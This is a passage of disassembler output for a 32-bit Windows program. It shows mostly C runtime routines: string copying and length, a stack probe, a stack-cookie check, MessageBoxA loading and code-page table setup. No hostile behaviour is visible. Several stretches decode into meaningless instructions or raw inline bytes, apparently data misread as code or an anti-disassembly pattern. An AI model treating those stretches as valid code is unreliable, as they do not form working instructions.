		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_401F75
		js	short loc_401F80
		mov	edi, [ebx+8]
		push	ebx
		call	sub_403820
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_403862
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4038F6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		mov	eax, [edi+ecx*4+8]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax

loc_401F75:				; CODE XREF: seg000:00401F1Aj
					; seg000:00401F34j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_401F0C
; ---------------------------------------------------------------------------

loc_401F80:				; CODE XREF: seg000:00401F36j
		mov	eax, 0
		jmp	short loc_401FAA
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: seg000:00401F0Aj
		mov	eax, [ebp+8]
		or	dword ptr [eax+4], 8

loc_401F8E:				; CODE XREF: seg000:00401F0Fj
		mov	eax, 1
		jmp	short loc_401FAA
; ---------------------------------------------------------------------------

loc_401F95:				; CODE XREF: seg000:00401EE4j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_403862
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_401FAA:				; CODE XREF: seg000:00401F85j
					; seg000:00401F93j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_403862
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FD0	proc near		; CODE XREF: seg000:00403E22p
					; sub_403E7F+E3p ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_401FE5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_401FE5:				; CODE XREF: sub_401FD0+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]

loc_401FEA:				; CODE XREF: sub_401FD0+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_401FEA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_401FD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esi
		push	ds:dword_407888
		call	sub_403C99
		pop	ecx
		mov	ecx, ds:dword_407884
		mov	esi, eax
		mov	eax, ds:dword_407888
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_402080
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_40203D
		mov	ecx, esi

loc_40203D:				; CODE XREF: seg000:00402039j
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_403B37
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402063
		add	esi, 10h
		push	esi
		push	ds:dword_407888
		call	sub_403B37
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402063
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_402063:				; CODE XREF: seg000:0040204Aj
					; seg000:0040205Fj
		mov	ecx, ds:dword_407884
		sub	ecx, ds:dword_407888
		mov	ds:dword_407888, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_407884, ecx

loc_402080:				; CODE XREF: seg000:00402030j
		mov	eax, [esp+8]
		mov	[ecx], eax
		add	ds:dword_407884, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0E9h
dword_402090	dd 0FFF7E36Dh, 83EFB191h, 1E17F7D6h, 30CB76DDh,	80686Bh
		dd 0F5E80000h, 85000008h, 88A359C0h, 75004078h,	58186A04h
		dd 2083C3h, 407888A1h, 7884A300h, 0C0330040h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C9	proc near		; CODE XREF: seg000:00403E6Fp

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407474, ebx
		push	esi
		push	edi
		jnz	short loc_402149
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_405074	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_402184
		mov	esi, ds:dword_40502C
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_407474, eax
		jz	short loc_402184
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_407478, eax
		call	esi
		cmp	ds:dword_407318, 2
		mov	ds:dword_40747C, eax
		jnz	short loc_402149
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_407484, eax
		jz	short loc_402149
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi
		mov	ds:dword_407480, eax

loc_402149:				; CODE XREF: sub_4020C9+11j
					; sub_4020C9+60j ...
		mov	eax, ds:dword_407480
		test	eax, eax
		jz	short loc_40218E
		call	eax
		test	eax, eax
		jz	short loc_402175
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	ds:dword_407484
		test	eax, eax
		jz	short loc_402175
		test	[ebp+var_8], 1
		jnz	short loc_40218E

loc_402175:				; CODE XREF: sub_4020C9+8Dj
					; sub_4020C9+A4j
		cmp	ds:dword_407324, 4
		jb	short loc_402188
		or	[ebp+arg_A], 20h
		jmp	short loc_4021AD
; ---------------------------------------------------------------------------

loc_402184:				; CODE XREF: sub_4020C9+22j
					; sub_4020C9+3Dj
		xor	eax, eax
		jmp	short loc_4021BD
; ---------------------------------------------------------------------------

loc_402188:				; CODE XREF: sub_4020C9+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_4021AD
; ---------------------------------------------------------------------------

loc_40218E:				; CODE XREF: sub_4020C9+87j
					; sub_4020C9+AAj
		mov	eax, ds:dword_407478
		test	eax, eax
		jz	short loc_4021AD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4021AD
		mov	eax, ds:dword_40747C
		test	eax, eax
		jz	short loc_4021AD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4021AD:				; CODE XREF: sub_4020C9+B9j
					; sub_4020C9+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_407474

loc_4021BD:				; CODE XREF: sub_4020C9+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4020C9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021D0	proc near		; CODE XREF: seg000:00403E2Ep

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_402245
sub_4021D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021E0	proc near		; CODE XREF: seg000:00403E3Ap
					; seg000:00403E45p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_402200

loc_4021ED:				; CODE XREF: sub_4021E0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_402233
		test	ecx, 3
		jnz	short loc_4021ED
		mov	edi, edi

loc_402200:				; CODE XREF: sub_4021E0+Bj
					; sub_4021E0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402200
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402242
		test	ah, ah
		jz	short loc_40223D
		test	eax, 0FF0000h
		jz	short loc_402238
		test	eax, 0FF000000h
		jz	short loc_402233
		jmp	short loc_402200
; ---------------------------------------------------------------------------

loc_402233:				; CODE XREF: sub_4021E0+14j
					; sub_4021E0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_402245
; ---------------------------------------------------------------------------

loc_402238:				; CODE XREF: sub_4021E0+48j
		lea	edi, [ecx-2]
		jmp	short loc_402245
; ---------------------------------------------------------------------------

loc_40223D:				; CODE XREF: sub_4021E0+41j
		lea	edi, [ecx-3]
		jmp	short loc_402245
; ---------------------------------------------------------------------------

loc_402242:				; CODE XREF: sub_4021E0+3Dj
		lea	edi, [ecx-4]

loc_402245:				; CODE XREF: sub_4021D0+5j
					; sub_4021E0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40226E

loc_402251:				; CODE XREF: sub_4021E0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_4022C0
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_402251
		jmp	short loc_40226E
; ---------------------------------------------------------------------------

loc_402269:				; CODE XREF: sub_4021E0+A6j
					; sub_4021E0+C0j
		mov	[edi], edx
		add	edi, 4

loc_40226E:				; CODE XREF: sub_4021E0+6Fj
					; sub_4021E0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402269
		test	dl, dl
		jz	short loc_4022C0
		test	dh, dh
		jz	short loc_4022B7
		test	edx, 0FF0000h
		jz	short loc_4022AA
		test	edx, 0FF000000h
		jz	short loc_4022A2
		jmp	short loc_402269
; ---------------------------------------------------------------------------

loc_4022A2:				; CODE XREF: sub_4021E0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4022AA:				; CODE XREF: sub_4021E0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4022B7:				; CODE XREF: sub_4021E0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4022C0:				; CODE XREF: sub_4021E0+78j
					; sub_4021E0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4021E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4022D0	proc near		; CODE XREF: seg000:00403E09p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40236F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_4022FC
		shr	ecx, 2
		jnz	loc_40237F
		jmp	short loc_402323
; ---------------------------------------------------------------------------

loc_4022FC:				; CODE XREF: sub_4022D0+1Fj
					; sub_4022D0+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_402336
		test	al, al
		jz	short loc_40233E
		test	esi, 3
		jnz	short loc_4022FC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40237F

loc_40231E:				; CODE XREF: sub_4022D0+ADj
		and	ebx, 3
		jz	short loc_402336

loc_402323:				; CODE XREF: sub_4022D0+2Aj
					; sub_4022D0+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_402368
		sub	ebx, 1
		jnz	short loc_402323

loc_402336:				; CODE XREF: sub_4022D0+39j
					; sub_4022D0+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40233E:				; CODE XREF: sub_4022D0+3Dj
		test	edi, 3
		jz	short loc_40235C

loc_402346:				; CODE XREF: sub_4022D0+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_4023EC
		test	edi, 3
		jnz	short loc_402346

loc_40235C:				; CODE XREF: sub_4022D0+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4023D7

loc_402363:				; CODE XREF: sub_4022D0+9Bj
					; sub_4022D0+116j
		mov	[edi], al
		add	edi, 1

loc_402368:				; CODE XREF: sub_4022D0+5Fj
		sub	ebx, 1
		jnz	short loc_402363
		pop	ebx
		pop	esi

loc_40236F:				; CODE XREF: sub_4022D0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_402375:				; CODE XREF: sub_4022D0+C7j
					; sub_4022D0+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_40231E

loc_40237F:				; CODE XREF: sub_4022D0+24j
					; sub_4022D0+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_402375
		test	dl, dl
		jz	short loc_4023C9
		test	dh, dh
		jz	short loc_4023BF
		test	edx, 0FF0000h
		jz	short loc_4023B5
		test	edx, 0FF000000h
		jnz	short loc_402375
		mov	[edi], edx
		jmp	short loc_4023CD
; ---------------------------------------------------------------------------

loc_4023B5:				; CODE XREF: sub_4022D0+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4023CD
; ---------------------------------------------------------------------------

loc_4023BF:				; CODE XREF: sub_4022D0+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4023CD
; ---------------------------------------------------------------------------

loc_4023C9:				; CODE XREF: sub_4022D0+CBj
		xor	edx, edx
		mov	[edi], edx

loc_4023CD:				; CODE XREF: sub_4022D0+E3j
					; sub_4022D0+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_4023E3

loc_4023D7:				; CODE XREF: sub_4022D0+91j
		xor	eax, eax

loc_4023D9:				; CODE XREF: sub_4022D0+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_4023D9

loc_4023E3:				; CODE XREF: sub_4022D0+105j
		and	ebx, 3
		jnz	loc_402363

loc_4023EC:				; CODE XREF: sub_4022D0+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4022D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402400	proc near		; CODE XREF: seg000:00403DDEp
					; seg000:00403DEFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_402430

loc_40240C:				; CODE XREF: sub_402400+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_402463
		test	ecx, 3
		jnz	short loc_40240C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_402430:				; CODE XREF: sub_402400+Aj
					; sub_402400+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402430
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402481
		test	ah, ah
		jz	short loc_402477
		test	eax, 0FF0000h
		jz	short loc_40246D
		test	eax, 0FF000000h
		jz	short loc_402463
		jmp	short loc_402430
; ---------------------------------------------------------------------------

loc_402463:				; CODE XREF: sub_402400+13j
					; sub_402400+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40246D:				; CODE XREF: sub_402400+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_402477:				; CODE XREF: sub_402400+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_402481:				; CODE XREF: sub_402400+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402400	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4024BC

loc_40248B:				; CODE XREF: sub_4024BC:loc_4024C5j
		push	8
		push	offset dword_4055C8
		call	sub_401E78
; END OF FUNCTION CHUNK	FOR sub_4024BC
; ---------------------------------------------------------------------------
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_403D37
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx
		jmp	short loc_4024AF
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]

loc_4024AF:				; CODE XREF: seg000:004024A6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_405028	; ExitProcess
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================



sub_4024BC	proc near		; CODE XREF: sub_402566+185p
					; seg000:004028D1p ...

; FUNCTION CHUNK AT 0040248B SIZE 0000000C BYTES

		cmp	ecx, ds:dword_4071C0
		jnz	short loc_4024C5
		retn
; ---------------------------------------------------------------------------

loc_4024C5:				; CODE XREF: sub_4024BC+6j
		jmp	loc_40248B
sub_4024BC	endp

; ---------------------------------------------------------------------------
		movzx	eax, byte ptr [esp+4]
		mov	cl, [esp+0Ch]
		test	ds:byte_407541[eax], cl
		jnz	short loc_4024F9
		cmp	dword ptr [esp+8], 0
		jz	short loc_4024F2
		mov	ecx, ds:off_4072D0
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [esp+8]
		jmp	short loc_4024F4
; ---------------------------------------------------------------------------

loc_4024F2:				; CODE XREF: seg000:004024E0j
		xor	eax, eax

loc_4024F4:				; CODE XREF: seg000:004024F0j
		test	eax, eax
		jnz	short loc_4024F9
		retn
; ---------------------------------------------------------------------------

loc_4024F9:				; CODE XREF: seg000:004024D9j
					; seg000:004024F6j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0E5h, 0E3h
		dd 5903FFF7h, 0B271097h, 55865DE5h
		db 13h,	0B2h

; =============== S U B	R O U T	I N E =======================================



sub_40250E	proc near		; CODE XREF: seg000:00402849p
					; seg000:0040288Ep
		sub	eax, 3A4h
		jz	short loc_402537
		sub	eax, 4
		jz	short loc_402531
		sub	eax, 0Dh
		jz	short loc_40252B
		dec	eax
		jz	short loc_402525
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_402525:				; CODE XREF: sub_40250E+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_40252B:				; CODE XREF: sub_40250E+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_402531:				; CODE XREF: sub_40250E+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_402537:				; CODE XREF: sub_40250E+5j
		mov	eax, 411h
		retn
sub_40250E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40253D	proc near		; CODE XREF: seg000:loc_4028BAp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407540
		rep stosd
		stosb
		xor	eax, eax
		mov	ds:dword_407644, eax
		mov	ds:dword_407530, eax
		mov	ds:dword_40752C, eax
		mov	edi, offset dword_407650
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_40253D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_402566	proc near		; CODE XREF: seg000:loc_4028BFp

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, ds:dword_4071C0
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_18]
		push	eax
		push	ds:dword_407644
		call	near ptr 0B70004h
		sbb	[ebx+0BE01F8h],	eax
		add	[eax], eax
		add	[edi], cl
		test	ds:33000001h, ecx
		ror	byte ptr [eax-117FA7Ch], 0FFh
		inc	dword ptr [eax+3Bh]
		mov	byte ptr [edx-0Ch], 8Ah
		inc	ebp
		out	dx, al
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_4025E8
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi

loc_4025B7:				; CODE XREF: sub_402566+7Ej
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4025DE
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_4025DE:				; CODE XREF: sub_402566+59j
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_4025B7
		pop	edi
		pop	ebx

loc_4025E8:				; CODE XREF: sub_402566+4Aj
		push	0
		push	ds:dword_40752C
		lea	eax, [ebp+var_518]
		push	ds:dword_407644
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_40423B
; ---------------------------------------------------------------------------
		push	0
		push	ds:dword_407644
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	ds:dword_40752C
		call	sub_403E7F
; ---------------------------------------------------------------------------
		push	0
		push	ds:dword_407644
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	ds:dword_40752C
		call	sub_403E7F
; ---------------------------------------------------------------------------
		add	esp, 5Ch
		xor	eax, eax

loc_40265D:				; CODE XREF: sub_402566+139j
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_402680
		or	ds:byte_407541[eax], 10h
		mov	cl, [ebp+eax+var_218]

loc_402678:				; CODE XREF: sub_402566+12Dj
		mov	ds:byte_407660[eax], cl
		jmp	short loc_40269C
; ---------------------------------------------------------------------------

loc_402680:				; CODE XREF: sub_402566+102j
		test	cl, 2
		jz	short loc_402695
		or	ds:byte_407541[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_402678
; ---------------------------------------------------------------------------

loc_402695:				; CODE XREF: sub_402566+11Dj
		mov	ds:byte_407660[eax], 0

loc_40269C:				; CODE XREF: sub_402566+118j
		inc	eax
		cmp	eax, esi
		jb	short loc_40265D
		jmp	short loc_4026E7
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_4026A5:				; CODE XREF: sub_402566+17Fj
		cmp	eax, 41h
		jb	short loc_4026C3
		cmp	eax, 5Ah
		ja	short loc_4026C3
		or	ds:byte_407541[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_4026BB:				; CODE XREF: sub_402566+173j
		mov	ds:byte_407660[eax], cl
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------

loc_4026C3:				; CODE XREF: sub_402566+142j
					; sub_402566+147j
		cmp	eax, 61h
		jb	short loc_4026DB
		cmp	eax, 7Ah
		ja	short loc_4026DB
		or	ds:byte_407541[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4026BB
; ---------------------------------------------------------------------------

loc_4026DB:				; CODE XREF: sub_402566+160j
					; sub_402566+165j
		mov	ds:byte_407660[eax], 0

loc_4026E2:				; CODE XREF: sub_402566+15Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_4026A5

loc_4026E7:				; CODE XREF: sub_402566+13Bj
		mov	ecx, [ebp+var_4]
		pop	esi
		call	sub_4024BC
		leave
		retn
sub_402566	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, ds:dword_4071C0
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		xor	ebx, ebx
		cmp	esi, 0FFFFFFFEh
		mov	[ebp-4], eax
		push	edi
		mov	ds:dword_407488, ebx
		jnz	short near ptr loc_402724+1
		mov	ds:dword_407488, 1
		call	near ptr 0B90004h
		mov	ebx, ebp

loc_402724:				; CODE XREF: seg000:00402711j
		sub	eax, [ebx+1275FDFEh]
		mov	ds:dword_407488, 1
		call	near ptr 0BB0004h
		mov	eax, ds:0FE8314EBh
		cld
		jnz	short loc_402755
		mov	eax, ds:dword_4074F8
		mov	ds:dword_407488, 1
		mov	[ebp+8], eax
		mov	esi, eax

loc_402755:				; CODE XREF: seg000:0040273Fj
		cmp	esi, ds:dword_407644
		jz	loc_4028C4
		cmp	esi, ebx
		jz	loc_4028BA
		xor	edx, edx
		xor	eax, eax

loc_40276D:				; CODE XREF: seg000:0040277Ej
		cmp	ds:dword_4071D0[eax], esi
		jz	short loc_4027DC
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_40276D
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0BD0004h
		adc	eax, [ebx-7AF0FE08h]
		push	ds
		add	[eax], eax
		add	[edx+40h], ch
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407540
		rep stosd
		stosb
		xor	edi, edi
		inc	edi
		cmp	[ebp-18h], edi
		mov	ds:dword_407644, esi
		mov	ds:dword_40752C, ebx
		jbe	loc_4028A0
		cmp	byte ptr [ebp-12h], 0
		jz	loc_40287B
		lea	ecx, [ebp-11h]

loc_4027C6:				; CODE XREF: seg000:00402875j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_40287B
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4027DC:				; CODE XREF: seg000:00402773j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407540
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp-1Ch], ebx
		stosb
		lea	ebx, dword_4071E0[ecx]

loc_4027F8:				; CODE XREF: seg000:00402835j
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_402827
; ---------------------------------------------------------------------------

loc_4027FE:				; CODE XREF: seg000:00402829j
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_40282B
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_402823
		mov	edx, [ebp-1Ch]
		mov	dl, ds:byte_4071C8[edx]

loc_402818:				; CODE XREF: seg000:00402821j
		or	ds:byte_407541[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_402818

loc_402823:				; CODE XREF: seg000:0040280Dj
		inc	esi
		inc	esi
		mov	al, [esi]

loc_402827:				; CODE XREF: seg000:004027FCj
		test	al, al
		jnz	short loc_4027FE

loc_40282B:				; CODE XREF: seg000:00402803j
		inc	dword ptr [ebp-1Ch]
		add	ebx, 8
		cmp	dword ptr [ebp-1Ch], 4
		jb	short loc_4027F8
		mov	eax, [ebp+8]
		mov	ds:dword_407644, eax
		mov	ds:dword_407530, 1
		call	sub_40250E
		lea	esi, dword_4071D4[ecx]
		mov	edi, offset dword_407650
		movsd
		movsd
		mov	ds:dword_40752C, eax
		movsd
		jmp	short loc_4028BF
; ---------------------------------------------------------------------------

loc_402863:				; CODE XREF: seg000:0040286Dj
		or	ds:byte_407541[eax], 4
		inc	eax

loc_40286B:				; CODE XREF: seg000:004027D7j
		cmp	eax, edx
		jbe	short loc_402863
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4027C6

loc_40287B:				; CODE XREF: seg000:004027BDj
					; seg000:004027CAj
		mov	eax, edi

loc_40287D:				; CODE XREF: seg000:0040288Aj
		or	ds:byte_407541[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_40287D
		mov	eax, esi
		call	sub_40250E
		mov	ds:dword_40752C, eax
		mov	ds:dword_407530, edi
		jmp	short loc_4028A6
; ---------------------------------------------------------------------------

loc_4028A0:				; CODE XREF: seg000:004027B3j
		mov	ds:dword_407530, ebx

loc_4028A6:				; CODE XREF: seg000:0040289Ej
		xor	eax, eax
		mov	edi, offset dword_407650
		stosd
		stosd
		stosd
		jmp	short loc_4028BF
; ---------------------------------------------------------------------------
		cmp	ds:dword_407488, ebx
		jz	short loc_4028C8

loc_4028BA:				; CODE XREF: seg000:00402763j
		call	sub_40253D

loc_4028BF:				; CODE XREF: seg000:00402861j
					; seg000:004028B0j
		call	sub_402566
; ---------------------------------------------------------------------------

loc_4028C4:				; CODE XREF: seg000:0040275Bj
		xor	eax, eax
		jmp	short loc_4028CB
; ---------------------------------------------------------------------------

